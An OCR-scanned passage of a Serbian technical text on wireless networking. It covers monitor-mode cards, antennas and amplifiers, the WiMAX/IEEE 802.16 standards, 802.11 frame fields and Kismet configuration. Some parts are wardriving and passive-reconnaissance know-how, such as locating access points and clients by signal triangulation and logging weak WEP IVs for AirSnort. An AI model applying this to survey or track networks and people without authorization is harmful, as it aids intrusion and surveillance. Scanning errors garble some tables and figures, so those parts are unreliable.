Slika 3.8.2.1 PDA sa Linux OS i internom Slika 3.8.2.2 Laptop sa internom
beZicnom mreZnom karticom beZicnom mreZnom karticom

3.8.3 Bezi¢na mrezna karta

Bezi¢na mrezna karta je veza izmedu racunara i WLAN mreze, ili bezicni
mrezni interfejs. Ona ima hardverski implementiranu tehniku modulacije. Posao koji
obavlja firmware koji se izvrSava na kartici moze da se obavi i u sklopu drajvera
kartice u okviru operativnog sistema. Ali firmware je bolje reSenje, kako bi se otezala
mogucnost da radio radi van licencirano odobrenog opsega i sa veCom snagom. Kada
se Koristi spoljna antena, bezicna mrezna kartica mora imati konektor za antenu.
Izborom konektora, moze se ograniciti izbor antena na one koje svojim pojacanjem
nece prevazi¢i jacinu signala koja je dozvoljena zakonom. Za ispitivanje bezi¢ne
mreze, metodom ratne voznje, bezi¢na mrezna karta se postavlja u tzv. monitor mod.
U tom modu, karta ne pokuSava da se prijavi na bilo koju pristupnu tacku (AP). Ona
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samo sakuplja pakete iz mreze i Salje ih operativnom sistemu. Novije mrezne karte
mogu raditi u monitor modu, ali imaju ograni¢enje kada se radi o umetanju okvira.

Slika 3.8.3 BeZic¢na mrezna karta

3.8.4 Antena

Antena se koristi da usmeri ili ogranic¢i signal koji se Salje iz bezi¢ne mrezne
karte u odredenom pravcu, zavisno od dijagrama zraCenja. Isto tako se ponasa u
sluc¢aju prijema signala. Osnovna namena joj je da pojaca signal u prijemu ili u
predaji. Takode se moze koristiti za radiolokaciju. Antene se, po konstrukciji, mogu
podeliti na dve osnovne vrste: usmerene i ne usmerene. Sa ne usmerenom antenom,
kao Sto je na Slici (3.8.4.1), radio signal se prostire 360° oko antene, od ¢ega je veliki
deo nekoristan. Neusmerene antene se koriste za pristupne tacke, gde je dobro imati
manje pojacanje. Na taj nacin se korisnici prijavljeni na AP navode da postave bolju
antenu i tako je saobra¢aj u oba smera brzi. Usmerene antene koncentrisu radio signal,
zavisno od konstrukcije, u uskom snopu od 180° do 7°, kao Sto je antena na Slici
(3.8.4.2).

Slika 3.8.4.1 Dipol antena i njeni dijagarami zracenja, vertikalni i
horizontalni

T
i b [
i)
_ ]’u-ia:,l

Slika 3.8.4.2 Usmerena antena i njeni dijagrami zracenja, vertikalni i horizontalni
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3.8.5 Pojacavac

Pojacava¢ povecava izlaznu snagu signala u predajniku, i na taj nacin
povecava domet signala. Standardna bezi¢na mrezna karta ima snagu u predajniku od
maksimalnih 100 mW. Pojac¢ava¢ na Slici (3.8.5) ima izlaznu snagu od 1 W, signal je
pojacan 30 dB. Ovakvi pojacivaci se koriste i za ubacivanje paketa ili prikljucivanje
na mrezu sa vece udaljenosti.

Slika 3.8.5 Pojacavaé signala

4. Prikaz standarda IEEE 802.16
4.1 WIMAX

WIMAX (Worldwide Interoperability for Microwave Access) svetska
intetoperabilnost za mikrotalasni pristup je telekomunikaciona tehnologija namenjena
Za obezbedenje bezicnog prenosa podataka na vece udaljenosti na razli¢ite nacine, od
tacka-tacka povezivanja do potpuno mobilnog celularnog tipa pristupa. Zasnovan je
na IEEE 802.16 standardu, koji se takode naziva i Wireless MAN. Ime WiMAX je
postalo od WiMAX Foruma, koji je osnovan u Junu 2001 godine, Ovaj forum je
osnovan od strane udruzenih proizvodaca opreme, da bi promovisao prilagodenost
opreme i interoperabilnost standarda. Forum je definisao WiMAX kao tehnologiju na
osnovi standarda IEEE 802.16 koja omogucava bezi¢ni Sirokopojasni pristup na milju
od korisnika, kao alternativa kablovskom i DSL pristupu.

WIiMAX podrzava nekoliko sistema arhitekture, ukljucujuéi tacka-tacka,
tacka-viSe tacaka, i opSta pokrivenost. WIMAX MAC (Media Access Control)
podrzava taCka-vise taCaka i opSta pokrivenost servise po time shering sistemu
opsluzujuéi svakog od korisnika (Subscriber Station SS). Ako postoji samo jedan
korisnik u mrezi, WiIMAX bazna stanica (BS) ¢e komunicrati sa korisnikom na bazi
tacka-tacka. U tom slucaju bazna stanica (BS) moze da koristi usmerenu antenu kako
bi povecala domet.

Bezbednosti u IEEE 802.16 je je posvecena posebna paznja, tako da su pri
pravljenju specifikacije angazovani specijalisti za tu oblast, kako bi se sveli na
minimum nedostatci u metodama bezbednosti i opisanoj implementaciji. Aktuelna
802.16 (802.16-2005) bezbednosna arhitektura ukljucuje sledece metode zastite:

- Autentikacija i autorizacija. Procedura autentkacije je slicna onoj koju ima
WEP/WPA u pretplatnickoj stanici, kao laptop sa WiMAX kartom koja omogucava
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pristup, mora prvo da dobije autorizaciju od bazne stanice pre nego §to pocne sa
radom. 802.16 pruza moguénost izbora izmedu dva razlicita mehanizma za
autentikaciju. RSA kriptografkog algoritma i EAP (engl. Extensible Authentication
Protocol). EAP se preporucuje zato Sto su istrazivanja ukazala na nedostatke koji
postoje u RSA kod prethodnih 802.16 implementacija.

- Poverljivost i rukovanje kriptografskim klju¢evima PKM (engl. Privacy and Key
Management), govori o rukovanju kriptografskim klju¢evima u WiMAX uredajima,
ili tokom razmene kljuceva izmedu dva uredaja. Zastita privatnih kljuceva je vitalna
za bezbednost WiMAX mreZe i podataka na bezi¢noj mrezi. 802.16 nudi dve opcije,
PKMv1 i PKMv2. PKM V2 je preporuc¢ena zbog uocenih nedostataka u PKM vl1.

- Enkripcija podataka — 802.16e-2005 se moze podestiti da koristi DES (engl. Data
Encryption Standard) u CBC (engl. Cipher-Block Chaining) modu ili AES u nekom
od brojnih modova. Generalno je misljenje poznavaoca bezbednosti da AES pruza
bolju zastitu od DES-CBC i zato je preporuceni algoritam.

WIMAX QoS, WIMAX QoS se moze dinamicki prilagodavati za razli¢ite
vrste saobrac¢aja. Podrzava Cetiri tipa servisa:

1. UGS (engl. Unsolicited Grant Service) je pravljen da podrzava real-time
prenos podataka koji se sastoji od paketa fiksne duzine koji se pojavljuju u
odredenim vremenskim intervalima, kao $to je T1/E1 i VoIP (Voice over IP).

2. Real-Time Polling Service (rtPS) je pravljen da podrzava real-time prenos
podataka koji se sastoji od paketa podataka promenljive duzine koji se
pojavljuju u odredenim vremenskim intervalima, kao $to je MPEG video.

3. Non-Real-Time Polling Service (nrtPS) je pravljen da podrzava prenos
podataka sa tolerancijom kasnjenja pri tome su podaci u paketima promenljive
duzine za Sta je potrebna minimalna brzina prenosa, kao Sto je FTP.

4. Best Effort (BE) je pravljen da podrzava tok podataka za koji nije definisan
minimalni nivo servisa za prenos podataka proizvoljne duzine.

4.2 Razvoj IEEE 802.16 protokola

4.2.1 |EEE 802.16-2001

Prvi WIMAX standard koji je odobren od IEEE je bio 802.16-2001 standard.

Odobren u Decembru 2001. god. Standard obezbeduje fiksnu Sirokopojasnu bezi¢nu
mrezu kao tacka-tacka (point to point) ili kao tacka vise tacaka (point to multipoint).
Koristi modulaciju sa jednim nosiocem od 10 GHz do 66 GHz i za duplex u uplink i
downlink kanalu podrzava engl. Time Division Duplexing (TDD) i engl. Frequency
Division Duplexing (FDD). Seme modulacije koje se mogu koristiti su QPSK,
16QAM i 64QAM. Vaznost koriS¢enja razli¢itih modulacija i Sema za korekciju
greske je u tome Sto mreza postaje otporna na razli¢ite vremenske uslove, Sto dalje
direktno utic¢e na QoS.
Bazna stanica (BS) kreira uplink i downlink mapu koja se deli svim tackama u mrezi.
Ta mapa ukljucuje vremena predaje, trajanja i vrste modulacije. Na ovaj nacin je
problem skrivene tacke pristupa eliminisan (hiden node). Korisnici obracaju paznju
samo na baznu stanicu (BS) i nema potrebe za prijemom sa bilo koje druge tacke u
mrezi. Takode poSto postoji tatan redosled rada na mreZi, nema problema sa
prezauzetoS¢u mreze.
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Korisnik (Subscriber Station SS) moze pregovarati o radnoj frekvenciji pri svakoj
razmeni podataka, $to obezbeduje dovoljno fleksibilnosti u rasporedu pristupa
korisnika baznoj stanici. Kao S$to je ve¢ navedeno, Seme modulacije su QPSK,
16QAM i 64QAM. Razlic¢ite SS mogu koristiti razli¢ite modulacije, a takode i razliciti
okviri podataka mogu biti sa razli¢itom modulacijom. Tako se dolazi do Seme
modulacije koja obezbeduje stabilnost rada i kvalitet konekcije.

Tabela 4.2. IEEE 802.16 Brzine prenosa i vrste modulacije [4]

Brzina prenosa simbola 16-QAM (4 64-QAM (6

E;Li;; (Megasimb_ola u ?)F;Ssli(m(gokl)li,lt)a _bita po _bita po
sekundi) simbolu) simbolu)
20 MHz 16 32 Mbps 64 Mbps 96 Mbps
25 MHz 20 40 Mbp 80 Mbps 120 Mbps
28 MHz 224 44.8 Mbps 89.6 Mbps 134.4 Mbps

Vazna osobina 802.16-2001 je sposobnost da obezbedi razli¢iti Quality of
Service(QoS) na fizickom nivou (PHY). Identifikator toka (engl. Service Flow ID)
obavlja proveru QoS. ldentifikator toka je je opisan parametrima QoS, koji daju
specifikaciju za parametre kao Sto su maksimalno kaSnjenje i dozvoljeni jitter.
Identifikator toka moze biti odaslan od BS ili od SS.

802.16-2001 radi samo u uslovima direktne vidljivosti (engl. Line of Sight LOS), sa
opremom korisnika koja je locirana na otvorenom prostoru.

4.2.2 |IEEE 802.16a-2003

Slede¢i standard odobren u januaru 2003. god. je 802.16-2003. Ima dosta
izmena u odnosu na 802.16-2001, a najznacajnija je dodatak podrske za 2-11GHz
licencirane opsege. Veoma znacajan je dodatak podrske za komunikaciju bez direktne
vidljivosti (None Line of Sight), koja nije bila moguc¢a pre dodavanja podrske za rad u
opsezima 2 — 11 GHz. Na ovaj nain se proSirila geografska pokrivenost ovom
mrezom. Takode ima izmena u Semi modulacije. Dodatak modulaciji sa jednim
nosiocem, QPSK, 16QAM, 64QAM, engl. Orthogonal Frequency Division
Multiplexing (OFDM) je jedna od opcija ovog standarda. U ovom standardu je za
opsege 2-11 GHz je dodat Orthogonal Frequency Division Multiplexing (OFDMA).
Znacajna novina za bezbednost je da je u 802.16-2001 vecina opcija koje se odnose
na zastitu podataka bila opciona, a sada su te opcije obavezne. Takode se moguénosti
zastite podataka koriste za autentikaciju posiljaoca MAC poruka.
802.16a dodaje podrsku za Celijske mreze. To znaci da saobracaj moze biti rutiran od
jedne SS do druge. Zbog toga je uneto niz izmena u MAC nivou da bi se prenosili
podaci od jedne SS koja nije vidljiva za BS, preko druge SS koja je deo ¢elijske
mreze.

4.2.3 |EEE 802.16¢-2002

U Decembru 2002.god. je usvojena izmena standarda pod nazivim IEEE
802.16¢-2002. U toj reviziji protokola, dodat je detaljni opis opsega 10-66 GHz, i
takode su ispravljene neke greske uocene u prethodnim verzijama standarda.
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4.2.4 |EEE 802.16-2004

Sve prethodne verzije standarda 802.16 su ovde objedinjene i kreiran je novi
standard. Ovaj standard je poznat kao 802.16-2004 ili 802.16-Revd. To je zato Sto je u
pocetku ova verzija standarda objavljena kao revizija standarda pod imenom 802.16-
REVd, ali su izmene bile sustinske pa je standard reizdat pod imenom 802.16-2004 i
to u Septembru 2004.god. U ovoj verziji je ceo standard ratifikovan i odobren.

4.2.5 IEEE 802.16¢ i kasnije verzije

U ovoj verziji standarda je dodata podrSka za mobilne korisnicke stanice.
802.16e je proSao kroz dosta draft verzija. Zamisao je da se uklju¢i Advanced
Encryption System (AES) funkcionalnost. Provajderi su predlozili WiMAX Forumu
da ovu funkcionalnost (AES) uvede kao obaveznu za WIMAX sertifikaciju. Kao
standard ova verzija jo$ nije ratifikovana, pa ¢e do tada biti verovatno jos izmena.
Drugi komiteti u okviru IEEE rade na novim verzijama protokola, kao Sto su 802.16f i
802.16g. Novine u ovim protokolima se odnose pre svega na planiranje mreznog
upravljanja (engl. Network Management Plane).

4.3 Odnos IEEE 802.16 i IEEE 802.11

WIMAX nije suprotnosti sa WLAN sistemom, ti sistemi su komplementarni.
Zbog istog kontrolera logi¢ke veze koji je standardizovan (IEEE 802.2) kao i kod
drugih LAN i WAN mreza, WiMAX moze biti premosten i povezan sa tim mrezama.
WIMAX je takode komplementaran sa zi¢nim eternetom IEEE 802.3, token ringom
IEEE 802.5, kao i sa ostalim ne-IEEE standardnim mrezama koje koriste isti kontroler
logicke veze.
WIMAX koristi licencirani opseg da bi ostvario tacka-tacka konekciju prema
internetu od nekog ISP (internet service provider) do krajnjeg korisnika. Razli¢iti
802.16 standardi omogucavaju razlicite vrste pristupa, od portabl (sli¢no celularnom
telefonu) do fiksnog (kao alternativa zi¢noj mrezi, gde je krajnji korisnik na stalnoj
lokaciji). WIMAX je prvenstveno razvijan za bezi¢nu mrezu tipa metropolitan area
network (WMAN), sa dometom od nekoliko kilometara. WLAN koristi nelicencirani
opseg, i prvenstveno je razvijan za lokalne bezi¢ne mreze dometa do 100 m.
WIiMAX ima potpuno razli¢it Quality of Service (QoS) mehanizme. Koristi
mehanizam zasnovan na konekcijama izmedu bazne stanice i korisnickog uredaja.
Svaka konekcija se zasniva na specificnom algoritmu raspodele. WLAN ima QoS
mehanizam sli¢an zi¢énom Ethernetu, gde paketi imaju razliite prioritete, u zavisnosti
od oznake koju nose. Na primer VoIP ¢e imati prioritet u odnosu na web pretrazivac.
WLAN radi na MAC CSMA/CA protokolu, koji je nezavistan od konekcije, dok
WIMAX radi na konekcijski orjentisanom MAC.
Bez obzira na razlike, oba 802.11 i 802.16 rade u P2P i ad-hoc mrezi, gde krajnji
korisnik komunicira sa korisnicima ili serverima u drugoj lokalnoj mrezi koriste¢i
pristupnu tacku (AP) ili baznu stanicu.
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5. Nacini identifikacije WLAN mreza

5.1 Analiza WLAN mreZnog saobracaja

Okteta: 2 2 6 6 6 2 6 0-2312 4
KonFroIa Trajanje Adresal | Adresa2 | Adresa 3 Kontrola Adresa 4 TEIC.) FCS
okvira ID sekvence okvira

\4

<
<

MAC zaglavlje

Slika 5.1 MAC format okvira

Svaki paket prenet kroz WLAN mrezu sadrzi bite informacije koji se Kkoriste za
prosledivanje paketa kroz razli¢ite nivoe OSI modela komunikacije. lako paketi mogu
biti kriptovani u WLAN mrezama, oni uvek imaju zaglavlja sa otvorenim tekstom.
Kao $to je ovde prikazano, zaglavlja imaju odredenu vrednost za svakog ko analizira
mrezu. Citav MAC okvir prikazan na Slici 5.1 je lako dostupan za standardni
korisni¢ki alat u Linuxu (jednostavnim postavljanjem interfejsa u monitor mod). Svi
paketi u WLAN mrezi su u skladu sa MAC formatom okvira podataka. Polje Frame
Control pokazuje koji tip podataka MAC okvir prenosi. Postoji tri osnovna tipa paketa
i mnogo razli¢itih podtipova. Tipovi paketa su podebljani i slede njihovi podtipovi.

1. Management: Association, Probe, Beacon, i Authentication.

2. Control: RTS, CTS, PS’Poll, ACK, CF-Ack/Poll.

3. Data: Data, Data+CF-Ack/Poll i Null-function.

U slede¢em odeljku ¢e biti razmotrena samo neka polja u okvirima koja su
interesantna.

5.1.1 Informacije od svih okvira

BO B1B2 B3B4 B7 B8 B9 B10 B11 B12 B13 Bl4 B15
Verzija . ) Prema More Pwr | More
protokola Tip Podtip ps |0d DS Frag Retry Mgt Data WEP | Order
> «—>

Bita: 2 2 4 1 1 1 1 1 1 1 1
Slika 5.1.1 Polja kontrolnog okvira

Slika 5.1.1 pokazuje polja kontrolnog okvira. Iz njega se mogu dobiti sledece
informacije.
Mreza je deo WDS: Prema DS =11i0d DS =1.
Mreza je u ad-hoc modu: Prema DS =01 Od DS =0; i Tip = Data.
Mreza je u infrastrukturnom modu: Prema DS =1 ili OdDS=1 i Tip = Data.
Dodatno, svaki prikupljeni okvir nosi podatak o jacini signala izmeren u radio
prijemniku. Kombinovanjem tih podataka sa koordinatama iz GPS prijemnika,
moguce je predvideti:
Domet mreze: Gde se sve mogu primati okviri poslati od pristupne tacke.
Lokacija pristupne tacke: Triangulacijom i merenjem jacine signala okvira odaslanih
sa pristupne tacke a primljenih na viSe razlicitih lokacija.
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Lokacija klijenta: Ista procedura kao kod lociranja pristupne tacke, samo se prate
okviri poslati od odabranog klijenta.

Gradevine, razne prepreke i viSestruke putanje smanjuju preciznost estimacija.
Pokretni klijenti ili pristupne tacke nisu deo ovakvih procedura i unosili bi prevelike
greSke pri estimacijama.

5.1.2 Informacije od okvira podataka

WEP ili WPA kriptovanje: B14 =1
Tip payloada: Na primer ako je odredi$na adresa broadcast adresa, i veli¢ina payloada
68 bajta, onda je veoma verovatno da je to Adress Resolution Protcocol (ARP)
zahtev.
Mreza je Bridge: Samo paketi podataka sa karakteristikama Prema DS=1i Od DS=1,
¢e biti prenoseni.
MAC adrese pristupne tacke: u MAC zaglavlju: Adrese 1,2 ili 3.
MAC adrese mobilnih klijenata: u MAC zaglavlju: Adrese 1,23 ili 4.
MAC adrese stanica na zi¢noj mrezi: u MAC zaglavlju: Adrese 1,2,3 ili 4.
Slede¢a znacajna stavka je vrednost IV. On se Salje sa svakim okvirom podataka u
mrezi sa kriptovanim prenosom podataka. IV i njegova upotreba pruzaju mogucnost
zastite od okvira koji su ranije prikupljeni prisluskivanjem saobracaja na mrezi ako je
Sema kriptovanja WEP ili WPA. Kada se porede okviri poslati sa iste adrese, 1V je
razli¢it za svaki poslati okvir u slu¢aju WEP kriptovanja. WPA ima iste vrednosti u 3
bajta 1V polja, a samo Extended Initialisation Vector (EIV) menja vrednosti, tj nema
duplikata. Payload u data okviru moze biti ARP, Internet Protocol (IP), Internet
Control Message Protocol (ICMP), Transport Control Protocol (TCP), Universal
Datagram Protocol (UDP) itd. Svi oni su pridodati Subnetwork Access Protocol
(SNAP) hederima koji su prilagodeni za ethernet. Razni tipovi paketa i poznavanje
njihove strukture se koriste za napade.

5.1.3 Informacije od upravljackih okvira

Neki od upravljackih okvira nose u sebi puno parametara o mrezi. Beacon
okvir je jedan od njih. Pristupna tacka emituje beacon okvire kako bi informisala
korisnike da je raspoloziva. Ti okviri nose u sebi dovoljno informacija za kljiente,
kako bi mogli da se pridruze mrezi. Medutim upravljacki okviri se striktno koriste za
administriranje priklju¢enja na mrezu. Oni ne Salju nikakve podatke sa aplikativnog
nivoa. Polje capability je deo beacon okvira, a njegova struktura je prikazana na Slici
5.1.3.

BO BL B2 B3 B4 B5 B6 B7 B8 B15
BSS | IBSS |, on . |SErOL privacy| ST | pBCC | Aoty Rezervisano

Poliable | Request Pream.

Okteta: 2

Slika 5.1.3 Capability polje u beacon okviru
Iz polja capability mogu se izdvojiti sledece korisne informacije:

Mreza je u infrastrukturnom modu: BO=1 i B1=0.
Mreza je u ad-hoc modu: BO=0 i B1=1.
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WEP je ukljuc¢en: B4 = 1.

Ostala polja koja se mogu izdvojiti iz tela okvira u beacon okviru su:

Beacon interval: to je vreme izmedu slanja beacon okvira (obi¢no 100*1024us=100
ms).

Service Set Identity (SSID): string od maksimalno 32 bita karaktera koji daju ljudima
¢itljivu informaciju o WLAN mrezi. Takode sluzi i za grupisanje viSe pristupnih
tacaka kako bi se formirala mreza pristupnih tacaka koje rade zajedno.

Podrzavane brzine prenosa: lista podrzavanih brzina prenosa u mrezi.

Dodatne brzine prenosa: ostale podrzavane brzine prenosa.

Kanali: broj kanala na kojem radi mreza.

Basic Service Set Identifier (BSSID) pokazuje informaciju o proizvodacu pristupne
tacke. Prvih 16 bita u BSSID se moze protumaciti na osnovu baze podataka koju
odrzava IEEE [5].

5.1.4 Zakljucéak

Informacije do kojih se moze do¢i pasivnim prikupljanjem uobicajenog

WLAN saobracaja su prikazane u Tabeli 5.1.4.

Podaci koji se mogu

Vrsta okvira sa

Broj potrebnih okvira

dobiti podacima

WDS Data 1 okvir

Ad-hoc / Infrastruktura Beacon / Probe / Data 1 okvir

Domet mreze Bilo koji 3 okvira i GPS lokacija
Lokacija AP ili klijenta Bilo koji 3 okvira i GPS lokacija

WEP

Beacon / Probe / Data

1 okvir

WPA Beacon / Probe / Data 1 okvir
SSID Beacon / Probe 1 okvir
MAC adresa AP-a Bilo koji 1 okvir
MAC adresa klijenta Probe request / Data 1 okvir
MAC adresa u zi¢noj Data 1 okvir

mrezi

Sadrzaj podataka

Data

Prema proceni

Tabela 5.1.4 Informacije koje se dobijaju analizom okvira podataka u WLAN
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6. Softverski alati za analizu beZi¢nih mreza

6.1 Kismet

Kismet je alat otvorenog koda (open source). Prvenstveno je namenjen za
detekciju pristupnih tacaka i prikupljanje raznih informacija o pristupnim tackama. To
su informacije poput identifikatora mreze, jaCine signala, zastite koja se koristi, pa ¢ak
i informacije o klijentima koji su spojeni na doti¢nu pristupnu tacku. Kismet takode
¢uva dosta podataka u dnevnickim datotekama (engl. log files) Sto ga ¢ini vrlo
atraktivnim. Za razliku od nekih drugih alata, Kismet ne samo da detektuje pristupne
tacke, ve¢ belezi kompletni zapis svih uhvacenih paketa. Takvi zapisi mogu se
naknadno iskoristiti pomocu drugih alata (Ethereal, Wireshark) za dalju analizu.

Jedna od najvecih prednosti je mogucénost rada u monitor modu s§to omogucava
pasivno istrazivanje i detekciju bezi¢nih mreza koje ne emituju svoj identifikator. Za
razliku od aktivnog istrazivanja, pasivno ne emituje nikakav signal. Umesto toga
pasivni programi osluskuju radio frekvenciju za bilo koji bezi¢ni saobracaj koji je u
dometu signala bezi¢ne kartice. Ova prednost ¢ini ga aktuelnijim od njegovih
konkurenata kao na primer NetStumbler alata za Windowse.

Konfigurisanje Kismet alata

Uz pretpostavku da je Kismet alat uspeSno instaliran potrebno je podesiti
njegovu konfiguraciju kroz dve konfiguracione datoteke: kismet.conf i kismet_ui.conf
Uobicajeno je da se te datoteke kod vecine Linux distribucija nalaze u /etc/kismet
direktorijumu.

Konfiguraciona datoteka kismet_ui.conf

Datoteka kismet_ui.conf sadrzi opcije o korisnickom ekranu Kismet alata. Za
vec¢inu stvari dovoljno je ostaviti ve¢ predefinisane parametre, osim ukoliko se Zeli
izmeniti izgled korisnickog ekrana. Prilikom pokretanja Kismet alata obi¢no se
pojavljuje pozdravna poruka (Slika 6.1.1).

B e = e
Fle Edit View Terminal Tabs Help

—Network List—(Autofit) Info—
Name T W Ch Packts Flags IP Range Ntwrks
<no ssid> A 0 DO6 8 6.0.0.0 9
! FERwlan A Y De3 69 8.0.0.0 Pckets
! FERwlan A Y 004 95 0.0.0.0 543
! FERwlan A Y 811 117 9.0.0.0 Cryptd
[Jwercome to Kismet 111
Kismet-Client 2006.04.R1 bulild 20050815211952 eak
- L]
!l Welcome to the Kismet panels frontend. ise
Context help 1s avallable for all displays, press "'h' at any time L}
for more information. crd

<]
This message can be turned off by editing the kismet_ul.conf Tile. |s/s
42
Press <Space> to continue.
psd

6:194

—Status
Found new network “"<no ssid>" bssid 00:05:D5:01:09:1F Crypt N Ch 0 @ 0.00 mb
Found IP 234.37.60.253 for <no $51d>::00:85:D05:01:09:1F via ARP
Associated probe network “00:16:CF:3C:52:44" with "00:40:96:55:C7:07" via

probe response.

‘“—Battery: 96% 2h39m37s

Slika 6.1.1 Pozdravna poruka Kismet alata
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Njeno pojavljivanje moguce je iskljuciti u kismet_ui.conf datoteci, postavljanjem
parametra varijable showintro u false. showintro=false.

U ovoj datoteci takode se moze promeniti ¢itav niz drugih parametara kao $to su boja
ekrana, zvu¢na upozorenja, koli¢ina prikazanih informacija itd.

Konfiguraciona datoteka kismet.conf

Datoteka kismet.conf je konfiguraciona datoteka koja sadrzi vazne
konfiguracione parametre kao Sto su parametri potrebni za ispravnu komunikaciju
Kismet alata i bezi¢ne kartice, komunikaciju sa GPS uredajem, postavljanja privilegija
rada, koriS¢enja odredenih kanala, generisanja dnevnickih datoteka itd.
Kako bi Kismet ispravno funkcionisao, pre prvog pokretanja potrebno je editovati ovu
datoteku i ispravno postaviti informacije o okruzenju i hardveru.
Za sigurniji rad Kismet alata potrebno je izmeniti suiduser varijablu. Ova varijabla
definiSe korisnika pod ¢ijim privilegijama ¢e Kismet raditi nakon Sto “prebaci”
bezi¢nu karticu u monitor nacin rada.

# User to setid to (should be your normal user)
suiduser=roamer

Zatim je potrebno postaviti source varijablu. To je varijabla koja definSe koji tip
pokretackog programa (engl. driver) i kartice sistem Koristi, kao i okruzenje na kojem
je postavljena kartica. Sljede¢i primer definiSe izvor koji koristi HostAP pokretacki
program, Karticu konfigurisanu na okruzenju wlan0. Tre¢i parametar varijable source,
moZze biti postavljen na bilo koju vrednost. To je obi¢no ime koje identifikuje taj
izvor, naprimer wlan. source=hostap,wlan0,wlan

Ovde je nekoliko uobicajenih primera izvora za razli¢ite bezi¢ne kartice i pokretacke
programe:

# Source line for Intel Pro Wireless 2200

source=ipw2200,eth0,ipw2200source

# Source line for wlan-ng Prism2 driver

source=prism2,wlan0,prism

# Source line for Cisco (dependent on Cisco driver used)

source=cisco,eth0,cisco

# Alternate Source line for Cisco (dependent on Cisco driver used)
source=cisco_cvs,ethl:wifi0,ciscocvs

# Source line for Hermes based cards (Orinoco)

source=orinoco,eth0,orinocosource

Kismet takode nudi mogucnost koris¢enja vise izvora paralelno. Sve dok se Koristi
jedan izvor nije potrebno menjati vrednost varijable enablesources koja je
predefinisana sa znakom komentara. Tek u slucaju koris¢enja vise izvora potrebno je
obrisati znak komentara ispred doti¢ne varijable i navesti listu izvora koju ¢e Kismet
koristiti.

Kismet predefinisano "skace" kroz kanale, $to mu omogucuje da pronalazi pristupne
tacke koje rade na razli¢itim kanalima pojasa bezi¢ne mreze. To se kontroliSe putem
varijable channelhop. Sve dok nije potrebna detekcija pristupnih tacaka na samo
odredenom kanalu potrebno je postaviti ovu varijablu u true.
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# Do we channelhop
channelhop=true

Tek ukoliko je pozeljno da se detekcija obavlja na jednom kanalu treba postaviti
varijablu channelhop u flase te postaviti parametar inicijalnog kanala u soruce
varijabli. Na primer kako bi se detektovale pristupne tacke na kanalu 8:

source=hostap,wlan0,wlan,8
channelhop=false

Sledec¢a varijabla koju je moguée podesavati je brzina kanala. Ona odreduje kroz
koliko kanala ¢e Kismet prolaziti unutar jedne sekunde. Predefinisano je postavljena
na tri kanala u sekundi $to je u vecini slucajeva prihvatljivo. Da bi se povecala brzina
kojom Kismet skace kroz kanale potrebno je povecéati ovaj broj, odnosno smanjiti u
slucaju da se zeli usporiti brzina skakanja. Potrebno je imati na umu da je skakanjem
kroz kanale mogu¢ gubitak nekih podataka koji prolaze bezicnom mrezom.

# How many channels per second do we hop? (1-10)

# The following option scans each channel for 1/5 of a second
# channelvelocity=5

# The following option scans each channel for 1/2 of a second
channelvelocity=2

Kismet nudi moguénost povezivanja s GPS uredajem za hvatanje koordinata polozaja
pristupnih tacaka. Postavke za koriStenje GPS-a namestaju se pomocu varijabli gps i
gpshost. Ukoliko je GPS aktiviran potrebno je gps varijablu postaviti u true. Varijabla
gpshost odreduje da 1i je GPSd pozadinski proces (engl. daemon) pokrenut na
lokalnom ili nekom udaljenom rac¢unaru.

# Do we have a GPS?

gps=true

# Host:port that GPSD is running on. This can be localhost OR remote!
gpshost=localhost:2947

Slede¢a opcija koju vredi pogledati je interval u kojem se zapisuju detektovane
informacije u dnevnicke datoteke. Parametar ove varijable je predefinisano postavljen
na pet minuta. Iz razloga S$to je moguce da sistem ili aplikacija padnu preporucuje se
ovaj parametar smanjiti na priblizno jedan minut.

# How often (in seconds) do we write all our data files
# (0 to disable)
writeinterval=60

Kismet generiSe vrlo opsezan set dnevnickih datoteka (Tabela 6.1).

Dump "Sirovi" format uhvacenih podataka koji se mogu pregledati pomocu
Ethereal alata ili drugih alata za analizu paketa.
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Network Tekstualna datoteka koja sadrzi popis detektovanih pristupnih tacaka i
informacija o njima.

CSv Zarezom odvojen popis detektovanih pristupnih tacaka i informacija o
njima.
XML Detektovane mreze zapisane u XML formatu. Ovakav dnevnicki zapis

koristan je za uklju¢ivanje ovih zapisa u okviru drugih aplikacija.

Weak Detektovani paketi ranjivog inicijalnog vektora (1V) zapisani u
formatu pogodnom za dalju analizu pomoc¢u AirSnort alata.

Cisco Dnevnicki zapis detektovanih informacija Cisco protokola koji Salju
Cisco uredaji.

GPS Dnevnicki zapis GPS koordinata detektovanih pristupnih tacaka.

Tabela 6.1.1 Kismet dnevnicke datoteke

Varijabla logtype odreduje koje ¢e sve dnevniCke zapise Kismet generisati.
Predefinisana opcija je prihvatljiva (dump, network, csv, xml, weak, cisco, i gps) iako
ponekad nisu potrebni svi ti zapisi. Minimalna osnova koju je potrebno osigurati u
vecini slucajeva je obi¢no dump, network i gps zapisi.

logtypes=dump,network,gps

Varijabla logdefault odreduje tekst koji dolazi kao prefiks imena datoteke dnevni¢kog
zapisa. Kismet zapisuje datoteke u formatu [logdefault]-[date]-[sequence-
number].[filetype]. Na prmer ako je logdefault varijabla postavljena na Roamer, tada
¢e gps dnevnicki zapis tre¢e sesije odredenog dana biti imenovan kao Roamer-Apr-
14-2009-3.gps. Ova opcija moZe biti korisna u sluc¢aju sortiranja rezultata ukoliko se
pretrazuje vise podrucja istog dana.

# Default log title
logdefault=MyCustomer

Jo$ jedna varijabla koju je moguce menjati kroz kismet.conf datoteku je logtemplate.
Ovom varijablom se kontroliSe lokacija na koju se zapisuju dnevnicke datoteke i
njihov format. Uobicajeno je u /var/log/kismet/ direktorijumu.

Ukoliko se ova varijabla ne promeni, dnevnicki zapis ¢e biti kreiran na predefinisan
nacin, sa predefinisanim naslovom, unutar direktorijuma gde je Kismet pokrenut.
Postoji sedam parametara koji su povezani s varijablom logtemplate (Tabela 6.1.2).

%n Teks postavljen u varijabli logdefault.

%d Trenutni datum u formatu Mesec-Dan-Godina (MM-DD-GGGG).

%D Trenutni datum u formatu GGGGMMDD.

%t Vreme kad je dnevnicki zapis pokrenut.
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%i Inkrementalni broj dnevnic¢kog zapisa (npr. 1 za prvi zapis u danu, 2 za drugi,
itd.).

%l Tip dnevni¢kog zapisa.

%h Putanja korisni¢kog direktorijuma.

Tabela 6.1.2 Parametri varijable logtemplate

Na primer, ako je potrebno dnevniCke zapise zapisivati u razlicite direktorijume
prema tipu zapisa, pa ih smestiti unutar direktorijuma PenTest potrebno je postaviti
varijablu logtemplate na slede¢i nacin:

logtemplate=PenTest/%/%n-%d-%i

